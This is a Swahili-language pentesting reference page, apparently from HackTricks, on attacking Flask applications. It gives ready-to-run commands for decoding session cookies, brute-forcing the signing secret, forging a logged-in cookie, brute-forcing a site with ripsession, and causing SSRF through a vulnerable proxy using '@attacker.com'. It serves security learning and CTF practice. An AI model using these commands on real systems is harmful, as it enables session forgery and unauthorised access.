Flask

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Labda ikiwa unacheza CTF, programu ya Flask itahusishwa na SSTI.

Cookies

Jina la kawaida la kikao cha cookie ni session.

Decoder

Decoder ya cookie za Flask mtandaoni: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Pata sehemu ya kwanza ya cookie hadi nukta ya kwanza na uifanye Base64 decode>

bash
echo "ImhlbGxvIg" | base64 -d

Keki pia imesainiwa kwa kutumia nenosiri

Flask-Unsign

Zana ya mstari wa amri ya kupata, kufungua, kujaribu nguvu na kuunda keki za kikao za programu ya Flask kwa kukisia funguo za siri.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

bash
pip3 install flask-unsign

Fasiri Keki

bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Kusaini

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Kusaini kwa kutumia toleo la zamani (legacy)

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Zana ya mistari ya amri ya kulazimisha tovuti kwa kutumia vidakuzi vilivyoundwa na flask-unsign.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi katika kuki ya kikao cha Flask na SQLmap

Mfano huu unatumia chaguo la sqlmap eval ili kusaini kiotomatiki mzigo wa sqlmap kwa flask kwa kutumia siri inayojulikana.

Proxy ya Flask kwa SSRF

Katika andiko hili inaelezwa jinsi Flask inavyoruhusu ombi lianze na herufi "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Katika hali ifuatayo:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Inaweza kuruhusu kuingiza kitu kama "@attacker.com" ili kusababisha SSRF.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks